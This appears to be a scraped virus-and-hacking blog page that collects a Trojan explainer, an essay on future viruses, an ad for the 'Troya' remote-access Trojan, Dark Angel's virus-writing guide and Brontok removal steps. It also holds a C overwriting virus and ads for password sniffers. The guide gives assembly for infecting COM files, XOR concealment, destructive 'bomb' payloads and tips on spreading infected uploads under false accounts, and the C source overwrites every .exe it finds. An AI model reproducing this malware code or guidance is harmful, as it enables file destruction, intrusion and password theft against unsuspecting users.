Black Trojan

WARNING: The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!







CORE™

Black Trojan

WARNING: The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!







CORE™

Future Of Viruses

 Virus writers have, at times, exhibited both extreme genius and morose stupidity. The world has adapted to this threat by devising detection routines, footprinting techniques, and enhancing the overall security posture of operating systems and applications at large. However, there remains a huge threat posed by future viruses that have yet to be addressed, including the threat of polymorphic, intelligent and swarming viruses, to name a few.

Modern virus detection is based on observing patterns either directly by observation or indirectly, usually through some sort of heuristic or intelligent algorithm. These scanning devices are mostly set at identifying a known threat and are often very poor detectives when it comes to evaluating a potential threat. IDS systems have grown in popularity, in part, because they are capable or recognizing patterns which exhibit behavior that resembles some known exploit in one way or another, but they, too, fall short of anticipating the next generation of superbug computer viruses.

The scary fact is that no computer virus yet discovered has successfully capitalized on exponential advances in computer algorithms. Key concepts that are part of everyday programming in the business world have not been demonstrated in the wild by virus writers to date, but they surely will come.

Polymorphism - a key tenet in object oriented programming, will soon be featured by many viruses to adapt to their surroundings. Not only will this allow them to change their appearance or signature, but they will also be able to adapt their behavior according to their environment and erase the pseudo boundaries penned in our imaginations by operating systems, protocols, and other man-made constucts.

Reflection and Interpretation - the ability of a program to inspect its own code, make adjustments and reinvent itself is a building block for intelligent viruses. Using this methodology a malicious programmer could engineer a superbug that can evaluate its behavior against a set of goals and adjust its interworkings accordingly. Such a virus could even incorporate the ability to analyze information feeds, such as public reaction to the virus, efforts to contain or eliminate it, and the operations in the infected system to stay a step ahead of security analysts.

Evolutionary and Genetic Algorithms - As the level of sophistication of viruses goes up, they will be endowed with the ability to mutate and evolve. Genetic algorithms compartmentalize functionality and allow subtle, and often random changes to occur in code. Coupled with an abundance of hosts, these viruses and cancers will mimic the behavior of their biological counterparts; including strains that are active and passive, lethal and symbiotic, and in some cases benign and malignant. Given a large enough playing field (and the internet promises to be just that) these modified strains will compete and indirectly adopt stratagem that ensure their survival. They will cease to be simple programs and come alive.

Intelligence - Perhaps the biggest conundrum is the question of intelligence. It is clear that intelligence will evolve on internet and will increase exponentially over time, even to the point of surpassing our own intelligence.

This is the natural product of any evolutionary system. It will begin with some sense of self awareness, such as reflection, knowledgeable of its own state, and able to make limited adjustments to it. The next generation will be aware of its surroundings, and capable of interpreting that data to adapt. Next will come the awareness of others and the ability to observe and anticipate changes in the environment. Simple rules will then emerge that determine how to operate in a given situation. These rules will lead to swarms of evolving virtual organisms, taking cues from one another, much as bees, ants, fish, and birds do. Communication will follow. Simple signaling will uncover the ability to influence the environment, leadership will emerge, and highly organized groups will work together toward common goals.

The black hats are already at work on these new viruses that will threaten our society, our economy, and our prosperity. The only remaining question is what evolution has in store for humanity. My guess is that organic life will give way to something more stable, either through extinction or adaptation. I just hope that we learn to adapt before our creations realize that they don't need us.

CORE™

Future Of Viruses

 Virus writers have, at times, exhibited both extreme genius and morose stupidity. The world has adapted to this threat by devising detection routines, footprinting techniques, and enhancing the overall security posture of operating systems and applications at large. However, there remains a huge threat posed by future viruses that have yet to be addressed, including the threat of polymorphic, intelligent and swarming viruses, to name a few.

Modern virus detection is based on observing patterns either directly by observation or indirectly, usually through some sort of heuristic or intelligent algorithm. These scanning devices are mostly set at identifying a known threat and are often very poor detectives when it comes to evaluating a potential threat. IDS systems have grown in popularity, in part, because they are capable or recognizing patterns which exhibit behavior that resembles some known exploit in one way or another, but they, too, fall short of anticipating the next generation of superbug computer viruses.

The scary fact is that no computer virus yet discovered has successfully capitalized on exponential advances in computer algorithms. Key concepts that are part of everyday programming in the business world have not been demonstrated in the wild by virus writers to date, but they surely will come.

Polymorphism - a key tenet in object oriented programming, will soon be featured by many viruses to adapt to their surroundings. Not only will this allow them to change their appearance or signature, but they will also be able to adapt their behavior according to their environment and erase the pseudo boundaries penned in our imaginations by operating systems, protocols, and other man-made constucts.

Reflection and Interpretation - the ability of a program to inspect its own code, make adjustments and reinvent itself is a building block for intelligent viruses. Using this methodology a malicious programmer could engineer a superbug that can evaluate its behavior against a set of goals and adjust its interworkings accordingly. Such a virus could even incorporate the ability to analyze information feeds, such as public reaction to the virus, efforts to contain or eliminate it, and the operations in the infected system to stay a step ahead of security analysts.

Evolutionary and Genetic Algorithms - As the level of sophistication of viruses goes up, they will be endowed with the ability to mutate and evolve. Genetic algorithms compartmentalize functionality and allow subtle, and often random changes to occur in code. Coupled with an abundance of hosts, these viruses and cancers will mimic the behavior of their biological counterparts; including strains that are active and passive, lethal and symbiotic, and in some cases benign and malignant. Given a large enough playing field (and the internet promises to be just that) these modified strains will compete and indirectly adopt stratagem that ensure their survival. They will cease to be simple programs and come alive.

Intelligence - Perhaps the biggest conundrum is the question of intelligence. It is clear that intelligence will evolve on internet and will increase exponentially over time, even to the point of surpassing our own intelligence.

This is the natural product of any evolutionary system. It will begin with some sense of self awareness, such as reflection, knowledgeable of its own state, and able to make limited adjustments to it. The next generation will be aware of its surroundings, and capable of interpreting that data to adapt. Next will come the awareness of others and the ability to observe and anticipate changes in the environment. Simple rules will then emerge that determine how to operate in a given situation. These rules will lead to swarms of evolving virtual organisms, taking cues from one another, much as bees, ants, fish, and birds do. Communication will follow. Simple signaling will uncover the ability to influence the environment, leadership will emerge, and highly organized groups will work together toward common goals.

The black hats are already at work on these new viruses that will threaten our society, our economy, and our prosperity. The only remaining question is what evolution has in store for humanity. My guess is that organic life will give way to something more stable, either through extinction or adaptation. I just hope that we learn to adapt before our creations realize that they don't need us.

CORE™

TROJAN --EXplained--

Trojan Trojan !! What is it ?
Trojan ( bad ) Beware !!
Its All Explained Here
Trojan horse well this term has many meanings .
In the context of computer software, a Trojan horse is a malicious program that is disguised as or embedded within legitimate software. The term is derived from the classical myth of the Trojan Horse. They may look useful or interesting (or at the very least harmless) to an unsuspecting user, but are actually harmful when executed.
Often the term is shortened to simply Trojan, even though this turns the adjective into a noun, reversing the myth (Greeks were gaining malicious access, not Trojans).
There are two common types of Trojan horses.
One, is otherwise useful software that has been corrupted by a cracker inserting malicious code that executes while the program is used. Examples include various implementations of weather alerting programs, computer clock setting software, and peer to peer file sharing utilities.
The other type is a standalone program that masquerades as something else, like a game or image file, in order to trick the user into some misdirected complicity that is needed to carry out the program's objectives.
Trojan horse programs cannot operate autonomously, in contrast to some other types of malware, like viruses or worms. Just as the Greeks needed the Trojans to bring the horse inside for their plan to work, Trojan horse programs depend on actions by the intended victims. As such, if trojans replicate and even distribute themselves, each new victim must run the program/trojan. Therefore their virulence is of a different nature, depending on successful implementation of social engineering concepts rather than flaws in a computer system's security design or configuration.
Definition
A Trojan horse program has a useful and desired function, or at least it has the appearance of having such. Trojans use false and fake names to trick users into dismissing the processes. These strategies are often collectively termed social engineering. In most cases the program performs other, undesired functions, but not always. The useful, or seemingly useful, functions serve as camouflage for these undesired functions. A trojan is designed to operate with functions unknown to the victim. The kind of undesired functions are not part of the definition of a Trojan Horse; they can be of any kind, but typically they have malicious intent.
In practice, Trojan Horses in the wild often contain spying functions (such as a packet sniffer) or backdoor functions that allow a computer, unknown to the owner, to be remotely controlled from the network, creating a "zombie computer". The Sony/BMG rootkit Trojan, distributed on millions of music CDs through 2005, did both of these things. Because Trojan horses often have these harmful behaviors, there often arises the misunderstanding that such functions define a Trojan Horse.
In the context of Computer Security, the term 'Trojan horse' was first used in a seminal report edited/written by JP Anderson (aka 'The Anderson Report' (Computer Security Technology Planning, Technical Report ESD-TR-73-51, USAF Electronic Sysstem Division, Hanscom AFB, Oct, 1972), which credits Daniel J Edwards then of NSA for both the coinage and the concept. One of the earliest known Trojans was a binary Trojan distributed in the binary Multics distribution; it was described by PA Karger and RR Schell in 1974 (Multics Security Evaluation, Technical Report ESD-TR-74-193 vol II, HQ Electronic Systems Division, Hanscom AFB, June 1974).
The basic difference from computer viruses is that a Trojan horse is technically a normal computer program and does not possess the means to spread itself. The earliest known Trojan horses were not designed to spread themselves. They relied on fooling people to allow the program to perform actions that they would otherwise not have voluntarily performed.
Trojans implementing backdoors typically setup a hidden server, from which a hacker with a client can then log on to. They have become polymorphic, process injecting, prevention disabling, easy to use without authorization, and therefore are abusive.
Trojans of recent times also come as computer worm payloads. It is important to note that the defining characteristics of Trojans are that they require some user interaction, and cannot function entirely on their own nor do they self-propagate/replicate.

Examples
Example of a simple Trojan horse
A simple example of a trojan horse would be a program named "waterfalls.scr.exe" claiming to be a free waterfall screensaver which, when run, instead begins erasing all the files on the computer.
Example of a somewhat advanced Trojan horse
On the Microsoft Windows platform, an attacker might attach a Trojan horse with an innocent-looking filename to an email message which entices the recipient into opening the file. The Trojan horse itself would typically be a Windows executable program file, and thus must have an executable filename extension such as .exe, .com, .scr, .bat, or .pif. Since Windows is sometimes configured by default to hide filename extensions from a user, the Trojan horse is an extension that might be "masked" by giving it a name such as 'Readme.txt.exe'. With file extensions hidden, the user would only see 'Readme.txt' and could mistake it for a harmless text file. Icons can also be chosen to imitate the icon associated with a different and benign program, or file type.
When the recipient double-clicks on the attachment, the Trojan horse might superficially do what the user expects it to do (open a text file, for example), so as to keep the victim unaware of its real, concealed, objectives. Meanwhile, it might discreetly modify or delete files, change the configuration of the computer, or even use the computer as a base from which to attack local or other networks - possibly joining many other similarly infected computers as part of a distributed denial-of-service attack. The Sony/BMG rootkit mentioned above both installed a vulnerability on victim computers, but also acted as spyware, reporting back to a central server from time to time, when any of the music CDs carrying it were played on a Windows computer system.
Types of Trojan horses
Trojan horses are almost always designed to do various harmful things, but could be harmless. Examples are
erasing or overwriting data on a computer.
encrypting files in a cryptoviral extortion attack.
corrupting files in a subtle way.
upload and download files.
allowing remote access to the victim's computer. This is called a RAT. (remote administration tool)
spreading other malware, such as viruses. In this case the Trojan horse is called a 'dropper' or 'vector'.
setting up networks of zombie computers in order to launch DDoS attacks or send spam.
spying on the user of a computer and covertly reporting data like browsing habits to other people (see the article on spyware).
make screenshots.
logging keystrokes to steal information such as passwords and credit card numbers (also known as a keylogger).
phish for bank or other account details, which can be used for criminal activities.
installing a backdoor on a computer system.
opening and closing CD-ROM tray
Time bombs and logic bombs
"Time bombs" and "logic bombs" are types of trojan horses.
"Time bombs" activate on particular dates and/or times. "Logic bombs" activate on certain conditions met by the computer.
Precautions against Trojan horses
Trojan horses can be protected against through end user awareness. Trojan Horse viruses can cause a great deal of damage to a personal computer but even more damaging is what they can do to a business, particularly a small business that usually does not have the same virus protection capabilities as a large business. Since a Trojan Horse virus is hidden it is harder to protect yourself or your company from them but there are things that you can do.
Trojan Horses are most commonly spread through an e-mail, much like other types of common viruses. The only difference being of course is that a Trojan Horse is hidden. The best ways to protect yourself and your company from Trojan Horses are as follows:
1. If you receive e-mail from someone that you do not know or you receive an unknown attachment never open it right away. As an e-mail use you should confirm the source. Some hackers have the ability to steal an address books so if you see e-mail from someone you know that does not necessarily make it safe.
2. When setting up your e-mail client make sure that you have the settings so that attachments do not open automatically. Some e-mail clients come ready with an anti-virus program that scans any attachments before they are opened. If your client does not come with this it would be best to purchase on or download one for free.
3. Make sure your computer has an anti-virus program on it and make sure you update it regularly. If you have an auto-update option included in your anti-virus program you should turn it on, that way if you forget to update your software you can still be protected from threats
4. Operating systems offer patches to protect their users from certain threats and viruses, including Trojan Horses. Software developers like Microsoft offer patches that in a sense “close the hole” that the Trojan horse or other virus would use to get through to your system. If you keep your system updated with these patches your computer is kept much safer.
5. Avoid using peer-2-peer or P2P sharing networks like Kazaa , Limewire, Ares, or Gnutella because those programs are generally unprotected from viruses and Trojan Horse viruses are especially easy to spread through these programs. Some of these programs do offer some virus protection but often they are not strong enough.
Besides these sensible precautions, one can also install anti-trojan software, some of which are offered free.
Methods of Infection
The majority of trojan horse infections occur because the user was tricked into running an infected program. This is why you're not supposed to open unexpected attachments on emails -- the program is often a cute animation or a sexy picture, but behind the scenes it infects the computer with a trojan or worm. The infected program doesn't have to arrive via email, though; it can be sent to you in an Instant Message, downloaded from a Web site or by FTP, or even delivered on a CD or floppy disk. (Physical delivery is uncommon, but if you were the specific target of an attack, it would be a fairly reliable way to infect your computer.) Furthermore, an infected program could come from someone who sits down at your computer and loads it manually.
Websites: You can be infected by visiting a rogue website. Internet Explorer is most often targeted by makers of trojans and other pests, because it contains numerous bugs, some of which improperly handle data (such as HTML or images) by executing it as a legitimate program. (Attackers who find such vulnerabilities can then specially craft a bit of malformed data so that it contains a valid program to do their bidding.) The more "features" a web browser has (for example ActiveX objects, and some older versions of Flash or Java), the higher your risk of having security holes that can be exploited by a trojan horse.
Email: If you use Microsoft Outlook, you're vulnerable to many of the same problems that Internet Explorer has, even if you don't use IE directly. The same vulnerabilities exist since Outlook allows email to contain HTML and images (and actually uses much of the same code to process these as Internet Explorer). Furthermore, an infected file can be included as an attachment. In some cases, an infected email will infect your system the moment it is opened in Outlook -- you don't even have to run the infected attachment.
For this reason, using Outlook lowers your security substantially.
Open ports: Computers running their own servers (HTTP, FTP, or SMTP, for example), allowing Windows file sharing, or running programs that provide filesharing capabilities such as Instant Messengers (AOL's AIM, MSN Messenger, etc.) may have vulnerabilities similar to those described above. These programs and services may open a network port giving attackers a means for interacting with these programs from anywhere on the Internet. Vulnerabilities allowing unauthorized remote entry are regularly found in such programs, so they should be avoided or properly secured.
A firewall may be used to limit access to open ports. Firewalls are widely used in practice, and they help to mitigate the problem of remote trojan insertion via open ports, but they are not a totally impenetrable solution, either.

CORE™

TROYA 1.4 Web Trojan

This is the new release of Troya Web-based Trojan.
By this program, you can control a Remote PC like a website.

New Features in this Release

Connect to Multiple Computers on a Network

Better File and Folders Manager

More Reliable Email Notification

Stable Executable File

Non-Data-Loss File Transfer

Dial-Independent Internet Connectivity Check

View System Information

<--DOWNLOAD LINKS-->

TROYA1.4

For any assistance regarding this software click here

TROYA HELP

PASSWORD: www.sma-soft.ir

Dark Angel's Virus Writing

Virii are wondrous creations written for the sole purpose of spreading and
destroying the systems of unsuspecting fools. This eliminates the systems
of simpletons who can't tell that there is a problem when a 100 byte file
suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not
deserve to exist, so it is our sacred duty to wipe their hard drives off
the face of the Earth. It is a simple matter of speeding along survival of
the fittest.

Why did I create this guide? After writing several virii, I have noticed
that virus writers generally learn how to write virii either on their own
or by examining the disassembled code of other virii. There is an
incredible lack of information on the subject. Even books published by
morons such as Burger are, at best, sketchy on how to create a virus. This
guide will show you what it takes to write a virus and also will give you a
plethora of source code to include in your own virii.

Virus writing is not as hard as you might first imagine. To write an
effective virus, however, you *must* know assembly language. Short,
compact code are hallmarks of assembly language and these are desirable
characteristics of virii. However, it is *not* necessary to write in pure
assembly. C may also be used, as it allows almost total control of the
system while generating relatively compact code (if you stay away from the
library functions). However, you still must access the interrupts, so
assembly knowledge is still required. However, it is still best to stick
with pure assembly, since most operations are more easily coded in
assembly. If you do not know assembly, I would recommend picking up a copy
of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672-
22659-6). It is an easy-to-follow book covering assembly in great detail.
Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201-
57064-5), as it is very helpful.

The question of which compiler to use arises often. I suggest using
Borland Turbo Assembler and/or Borland C++. I do not have a copy of
Zortech C (it was too large to download), but I would suspect that it is
also a good choice. Stay away from Microsoft compilers, as they are not as
flexible nor as efficient as those of other vendors.

A few more items round out the list of tools helpful in constructing virii.
The latest version of Norton Utilities is one of the most powerful programs
available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You
can find it on any decent board. It can be used during every step of the
process, from the writing to the testing. A good debugger helps. Memory
management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are
invaluable, especially when coding TSR virii. Sourcer, the commenting
disassembler, is useful when you wish to examine the code of other virii
(this is a good place to get ideas/techniques for your virus).

Now that you have your tools, you are ready to create a work of art
designed to smash the systems of cretins. There are three types of virii:

1) Tiny virii (under 500 bytes) which are designed to be undetectable
due to their small size. TINY is one such virus. They are
generally very simple because their code length is so limited.
2) Large virii (over 1,500 bytes) which are designed to be
undetectable because they cover their tracks very well (all that
code DOES have a use!). The best example of this is the Whale
virus, which is perhaps the best 'Stealth' virus in existence.
3) Other virii which are not designed to be hidden at all (the writers
don't give a shit). The common virus is like this. All
overwriting virii are in this category.

You must decide which kind of virus you wish to write. I will mostly be
discussing the second type (Stealth virii). However, many of the
techniques discribed may be easily applied to the first type (tiny virii).
However, tiny virii generally do not have many of the "features" of larger
virii, such as directory traversal. The third type is more of a
replicating trojan-type, and will warrant a brief (very, very brief!)
discussion later.

A virus may be divided into three parts: the replicator, the concealer, and
the bomb. The replicator part controls the spread of the virus to other
files, the concealer keeps the virus from being detected, and the bomb only
executes when the activation conditions of the virus (more on that later)
are satisfied.

-=-=-=-=-=-=-=-
THE REPLICATOR
-=-=-=-=-=-=-=-
The job of the replicator is to spread the virus throughout the system of
the clod who has caught the virus. How does it do this without destroying
the file it infects? The easiest type of replicator infects COM files. It
first saves the first few bytes of the infected file. It then copies a
small portion of its code to the beginning of the file, and the rest to the
end.

+----------------+ +------------+
| P1 | P2 | | V1 | V2 |
+----------------+ +------------+
The uninfected file The virus code

In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1
and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be
the same as the size of V1, but the size of P2 doesn't necessarily have to
be the same size as V2. The virus first saves P1 and copies it to the
either 1) the end of the file or 2) inside the code of the virus. Let's
assume it copies the code to the end of the file. The file now looks like:

+---------------------+
| P1 | P2 | P1 |
+---------------------+

Then, the virus copies the first part of itself to the beginning of the
file.

+---------------------+
| V1 | P2 | P1 |
+---------------------+

Finally, the virus copies the second part of itself to the end of the file.
The final, infected file looks like this:

+-----------------------------+
| V1 | P2 | P1 | V2 |
+-----------------------------+

The question is: What the **** do V1 and V2 do? V1 transfers control of
the program to V2. The code to do this is simple.

JMP FAR PTR Duh ; Takes four bytes
Duh DW V2_Start ; Takes two bytes

Duh is a far pointer (Segment:Offset) pointing to the first instruction of
V2. Note that the value of Duh must be changed to reflect the length of
the file that is infected. For example, if the original size of the
program is 79 bytes, Duh must be changed so that the instruction at
CS:[155h] is executed. The value of Duh is obtained by adding the length
of V1, the original size of the infected file, and 256 (to account for the
PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal
(155 hex).

An alternate, albeit more difficult to understand, method follows:

DB 1101001b ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement

This inserts the jump offset directly into the code following the jump
instruction. You could also replace the second line with

DW V2_Start - $

which accomplishes the same task.

V2 contains the rest of the code, i.e. the stuff that does everything else.
The last part of V2 copies P1 over V1 (in memory, not on disk) and then
transfers control to the beginning of the file (in memory). The original
program will then run happily as if nothing happened. The code to do this
is also very simple.

MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts
SUB SI, V1_LENGTH ; Go back to where P1 is stored
MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory
MOV CX, V1_LENGTH ; Move CX bytes
REP MOVSB ; DS:[SI] -> ES:[DI]

MOV DI, 0100h
JMP DI

This code assumes that P1 is located just before V2, as in:

P1_Stored_Here:
.
.
.
V2_Start:

It also assumes ES equals CS. If these assumptions are false, change the
code accordingly. Here is an example:

PUSH CS ; Store CS
POP ES ; and move it to ES
; Note MOV ES, CS is not a valid instruction
MOV SI, P1_START ; Move from whereever P1 is stored
MOV DI, 0100h ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB

MOV DI, 0100h
JMP DI

This code first moves CS into ES and then sets the source pointer of MOVSB
to where P1 is located. Remember that this is all taking place in memory,
so you need the OFFSET of P1, not just the physical location in the file.
The offset of P1 is 100h higher than the physical file location, as COM
files are loaded starting from CS:[100h].

So here's a summary of the parts of the virus and location labels:

V1_Start:
JMP FAR PTR Duh
Duh DW V2_Start
V1_End:

P2_Start:
P2_End:

P1_Start:
; First part of the program stored here for future use
P1_End:

V2_Start:
; Real Stuff
V2_End:

V1_Length EQU V1_End - V1_Start

Alternatively, you could store P1 in V2 as follows:

V2_Start:

P1_Start:
P1_End:

V2_End:

That's all there is to infecting a COM file without destroying it! Simple,
no? EXE files, however, are a little tougher to infect without rendering
them inexecutable - I will cover this topic in a later file.

Now let us turn our attention back to the replicator portion of the virus.
The steps are outlined below:

1) Find a file to infect
2) Check if it is already infected
3) If so, go back to 1
4) Infect it
5) If infected enough, quit
6) Otherwise, go back to 1

Finding a file to infect is a simple matter of writing a directory
traversal procedure and issuing FINDFIRST and FINDNEXT calls to find
possible files to infect. Once you find the file, open it and read the
first few bytes. If they are the same as the first few bytes of V1, then
the file is already infected. If the first bytes of V1 are not unique to
your virus, change it so that they are. It is *extremely* important that
your virus doesn't reinfect the same files, since that was how Jerusalem
was first detected. If the file wasn't already infected, then infect it!
Infection should take the following steps:

1) Change the file attributes to nothing.
2) Save the file date/time stamps.
3) Close the file.
4) Open it again in read/write mode.
5) Save P1 and append it to the end of the file.
6) Copy V1 to the beginning, but change the offset which it JMPs to so
it transfers control correctly. See the previous part on infection.
7) Append V2 to the end of the file.
8) Restore file attributes/date/time.

You should keep a counter of the number of files infected during this run.
If the number exceeds, say three, then stop. It is better to infect slowly
then to give yourself away by infecting the entire drive at once.

You must be sure to cover your tracks when you infect a file. Save the
file's original date/time/attributes and restore them when you are
finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code,
probably less, to do these few simple things which can do wonders for the
concealment of your program.

I will include code for the directory traversal function, as well as other
parts of the replicator in the next installment of my phunky guide.

-=-=-=-=-
CONCEALER
-=-=-=-=-
This is the part which conceals the program from notice by the everyday
user and virus scanner. The simplest form of concealment is the encryptor.
The code for a simple XOR encryption system follows:

encrypt_val db ?

decrypt:
encrypt:
mov ah, encrypt_val

mov cx, part_to_encrypt_end - part_to_encrypt_start
mov si, part_to_encrypt_start
mov di, si

xor_loop:
lodsb ; DS:[SI] -> AL
xor al, ah
stosb ; AL -> ES:[DI]
loop xor_loop
ret

Note the encryption and decryption procedures are the same. This is due to
the weird nature of XOR. You can CALL these procedures from anywhere in
the program, but make sure you do not call it from a place within the area
to be encrypted, as the program will crash. When writing the virus, set
the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end
sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning
of V2 to unencrypt the file so your program can run. When infecting a
file, first change the encrypt_val, then CALL encrypt, then write V2 to the
end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE
AREA TO BE ENCRYPTED!!!

This is how V2 would look with the concealer:

V2_Start:

Concealer_Start:
.
.
.
Concealer_End:

Replicator_Start:
.
.
.
Replicator_End:

Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:

Alternatively, you could move parts of the unencrypted stuff between
Part_To_Encrypt_End and V2_End.

The value of encryption is readily apparent. Encryption makes it harder
for virus scanners to locate your virus. It also hides some text strings
located in your program. It is the easiest and shortest way to hide your
virus.

Encryption is only one form of concealment. At least one other virus hooks
into the DOS interrupts and alters the output of DIR so the file sizes
appear normal. Another concealment scheme (for TSR virii) alters DOS so
memory utilities do not detect the virus. Loading the virus in certain
parts of memory allow it to survive warm reboots. There are many stealth
techniques, limited only by the virus writer's imagination.

-=-=-=-=-
THE BOMB
-=-=-=-=-
So now all the boring stuff is over. The nastiness is contained here. The
bomb part of the virus does all the deletion/slowdown/etc which make virii
so annoying. Set some activation conditions of the virus. This can be
anything, ranging from when it's your birthday to when the virus has
infected 100 files. When these conditions are met, then your virus does
the good stuff. Some suggestions of possible bombs:

1) System slowdown - easily handled by trapping an interrupt and
causing a delay when it activates.
2) File deletion - Delete all ZIP files on the drive.
3) Message display - Display a nice message saying something to the
effect of "You are fucked."
4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard
drive - This is very nasty, as most dimwits cannot fix this.

This is, of course, the fun part of writing a virus, so be original!

-=-=-=-=-=-=-=-
OFFSET PROBLEMS
-=-=-=-=-=-=-=-
There is one caveat regarding calculation of offsets. After you infect a
file, the locations of variables change. You MUST account for this. All
relative offsets can stay the same, but you must add the file size to the
absolute offsets or your program will not work. This is the most tricky
part of writing virii and taking these into account can often greatly
increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE
SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS!
If you don't, you'll get fucked over and your virus WILL NOT WORK! One
entire part of the guide will be devoted to this subject.

-=-=-=-
TESTING
-=-=-=-
Testing virii is a dangerous yet essential part of the virus creation
process. This is to make certain that people *will* be hit by the virus
and, hopefully, wiped out. Test thoroughly and make sure it activates
under the conditions. It would be great if everyone had a second computer
to test their virii out, but, of course, this is not the case. So it is
ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and
FAT. Norton is handy in this doing this. Do NOT disregard this advice
(even though I know that you will anyway) because you WILL be hit by your
own virii. When I wrote my first virus, my system was taken down for two
days because I didn't have good backups. Luckily, the virus was not overly
destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL
PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the
damage is not permanent. RamDrives are also useful for testing trojans,
but that is the topic of another file...

-=-=-=-=-=-=-
DISTRIBUTION
-=-=-=-=-=-=-
This is another fun part of virus writing. It involves sending your
brilliantly-written program through the phone lines to your local,
unsuspecting bulletin boards. What you should do is infect a file that
actually does something (leech a useful utility from another board), infect
it, and upload it to a place where it will be downloaded by users all over.
The best thing is that it won't be detected by puny scanner-wanna-bes by
McAffee, since it is new! Oh yeah, make sure you are using a false account
(duh). Better yet, make a false account with the name/phone number of
someone you don't like and upload the infected file under the his name.
You can call back from time to time and use a door such as ZDoor to check
the spread of the virus. The more who download, the more who share in the
experience of your virus!

I promised a brief section on overwriting virii, so here it is...
-=-=-=-=-=-=-=-=-
OVERWRITING VIRII
-=-=-=-=-=-=-=-=-
All these virii do is spread throughout the system. They render the
infected files inexecutable, so they are easily detected. It is simple to
write one:

+-------------+ +-----+ +-------------+
| Program | + |Virus| = |Virus|am |
+-------------+ +-----+ +-------------+

These virii are simple little hacks, but pretty worthless because of their
easy detectability. Enuff said!

-=-=-=-=-=-=-=-=-=-=-=-=-
WELL, THAT JUST ABOUT...
-=-=-=-=-=-=-=-=-=-=-=-=-
wraps it up for this installment of Dark Angel's Phunky virus writing
guide. There will (hopefully) be future issues where I discuss more about
virii and include much more source code (mo' source!). Till then, happy
coding!

Remove BRONTOK Virus

Start ur computer in safe mode with command prompt and type the followinf command to enable registry editor:-

reg delete HKCU\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"

and run HKLM\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"

after this ur registry editor is enable 

type explorer

go to run and type regedit

then follow the following path :-

HKLM\Software\Microsoft\Windows\Currentversion\Run

on the right side delete the entries which contain 'Brontok' and 'Tok-' words.

after that restart ur system

open registry editor and follow the path to enable folder option in tools menu

HKCU\Software\Microsoft\Windows\Currentversion\Policies\Explorer\ 'NoFolderOption'

delete this entry and restart ur computer

and search *.exe files in all drives (search in hidden files also)

remove all files which are display likes as folder icon.

ur computer is completely free from virus brontok

C++ Virus 2

It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory

#include 

#include 

#include 

void main(int argc,char *argv[]) 

{

 int bytes,i,done; 

FILE *virus,*host; 

struct ffblk *f; 

char buffer[512]; 

do 

{  

done=findfirst("*.exe",f,0);  

while(!done)  

{   

virus=fopen(argv[0],"rb");

//open the virus in read mode   host=fopen(f->ff_name,"rb+");

//open the host file in r/w mode     

for(;

fread(buffer,512,1,virus)==1;)     

fwrite(buffer,512,1,host);   

fclose(host); 

  fseek(virus,0,0);

//points to begining of virus   

printf("infecting %s  ",f->ff_name);   

done=findnext(f);  

 } 

} 

while(!chdir("..")); 

printf("©2008-09 ACCESS THE XPERIA™ --Source codes world--");

ACE PASSWORD Sniffer

                               Recover passwords through http, ftp, smtp, pop3 and telnet.

New version provides candidates of username or password for HTTP post submission.

The effective password recovery utility brings you a brand-new way to get your forgotten password back. Network administrators or concerned parents can also use it to capture passwords of other users, but such action may be considered as invasion of privacy, and make sure you have the right to do so. Currently Ace Password Sniffer supports passwords monitoring through FTP, POP3, HTTP, SMTP, Telnet, including some web mail password.

DOWNLOAD

ACEPASS

EFFETECH HTTP Sniffer

Who have surfed where online?

EffeTech HTTP Sniffer is a HTTP protocol packet sniffer, network analyzer and file reassembly software based on Windows platform. Unlike most other sniffers, it is dedicated to capture IP packets containing HTTP protocol and to reassemble the HTTP communications and files sent through HTTP protocol. Its smart real-time analyzer enables on-the-fly content viewing while monitoring and analyzing. It can also parse and decode HTTP protocol, and generate a web traffic report for reference.

By delivering an ideal mix of power, ease of use, and functionality, the award-winning EffeTech HTTP Sniffer has become the preferred choice of managers, network administrators and developers worldwide. No matter you are a professional or a rookie, you can easily get HTTP web traffic report on your network.

New version supports chunked or gzip mode.

DOWNLOAD

httpSniffer

ETHER DETECT TCP/IP Sniffer

                                 Connection-Oriented Packet Sniffer and Protocol Analyzer.

EtherDetect Packet Sniffer enables you capture full TCP/IP packets and organize them by TCP connections or UDP threads. With its powerful filter, you can customize what you need to capture and avoid those irrelevant packets from disturbing you. It is also easy to detect what are transferred out from your computer.

